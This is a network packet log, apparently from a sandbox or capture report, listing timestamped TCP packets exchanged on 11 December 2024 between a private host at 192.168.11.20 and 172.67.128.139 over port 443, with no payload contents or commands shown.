Dec 11, 2024 12:45:41.707983971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.708023071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.708182096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.708235025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.708245039 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.708333015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.708471060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.709733009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.709769964 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.710032940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.710048914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.710191011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.711061954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.711098909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.711296082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.711311102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.711344004 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.711488008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.713012934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.713053942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.713217974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.713217974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.713238001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.713264942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.713480949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.714112043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.714150906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.714421988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.714447975 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.714612007 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.714811087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.716063976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.716105938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.716276884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.716294050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.717039108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.717039108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.717077971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.717117071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.717422009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.717422009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.717434883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.717675924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.718935013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.718975067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.719191074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.719239950 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.719388962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.719407082 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.719533920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.719631910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.720746040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.720784903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.720963955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.720977068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.721093893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.721198082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.722109079 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.722145081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.722359896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.722378016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.722666025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.723361969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.723401070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.723501921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.723551035 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.723561049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.723773003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.725159883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.725200891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.725349903 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.725477934 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.725488901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.725738049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.726928949 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.726969004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.727196932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.727214098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.727349043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.727957010 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.728001118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.728295088 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.728295088 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.728312969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.728523970 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.729993105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.730031967 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.730194092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.730216980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.730338097 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.730443954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.731409073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.731445074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.731587887 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.731641054 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.731652975 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.731924057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.733058929 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.733095884 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.733289957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.733305931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.733382940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.733525038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.734049082 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.734092951 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.734213114 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.734278917 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.734291077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.734448910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.734550953 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.735944033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.735981941 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.736162901 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.736180067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.736320972 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.737036943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.737075090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.737255096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.737270117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.737318993 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.737449884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.739447117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.739489079 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.739623070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.739800930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.739811897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.739986897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.740516901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.740557909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.740753889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.740770102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.740818024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.740971088 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.742043018 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.742084980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.742217064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.742338896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.742355108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.742521048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.744937897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.744980097 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.745120049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.745181084 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.745187998 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.745202065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.745259047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.745274067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.745356083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.745471954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.745482922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.745524883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.745637894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.746846914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.746889114 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.747016907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.747068882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.747078896 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.747210979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.748472929 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.748514891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.748615980 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.748693943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.748703957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.748785019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.748953104 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.749166965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.749311924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.749411106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.749553919 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.749563932 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.749696016 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.919632912 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.919677019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.919827938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.919966936 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.919984102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.920253992 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.920747042 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.920785904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.921062946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.921081066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.921094894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.921233892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.921799898 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.921838045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.922015905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.922055960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.922068119 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.922357082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.923638105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.923675060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.923897028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.923913956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.923970938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.924247980 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.924721003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.924758911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.924907923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.924907923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.925008059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.925024033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.925263882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.926510096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.926546097 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.926805973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.926821947 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.926835060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.927176952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.927768946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.927813053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.928138018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.928154945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.928317070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.929132938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.929172993 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.929389954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.929414988 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.929615974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.930298090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.930341005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.930489063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.930526018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.930541039 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.930696011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.931888103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.931934118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.932054043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.932246923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.932261944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.932416916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.933115959 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.933155060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.933321953 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.933556080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.933572054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.933870077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.934727907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.934767008 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.934952974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.934968948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.935127974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.935200930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.935802937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.935843945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.936069965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.936086893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.936140060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.936271906 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.937231064 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.937273979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.937480927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.937496901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.937665939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.938261032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.938299894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.938613892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.938628912 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.938935041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.940032005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.940072060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.940211058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.940310001 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.940324068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.940381050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.940547943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.941104889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.941139936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.941304922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.941318989 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.941463947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.942660093 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.942698002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.942974091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.942991972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.943169117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.943964005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.944006920 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.944214106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.944231033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.944335938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.944478035 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.945478916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.945517063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.945656061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.945712090 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.945727110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.945806026 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.945934057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.946470976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.946511984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.946629047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.946731091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.946747065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.946882010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.946990013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.947541952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.947580099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.947830915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.947849035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.948025942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.949368000 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.949405909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.949573040 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.949713945 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.949728012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.950040102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.950890064 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.950927973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.951078892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.951102018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.951122999 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.951313019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.951869965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.951910973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.952263117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.952263117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.952291012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.952574968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.953600883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.953638077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.953826904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.953845978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.953867912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.954160929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.954750061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.954793930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.954940081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.955086946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.955104113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.955243111 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.955460072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.955903053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.955940962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.956152916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.956168890 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.956238031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.956412077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.957444906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.957483053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.957735062 CET	49763	443	192.168.11.20	172.67.128.139
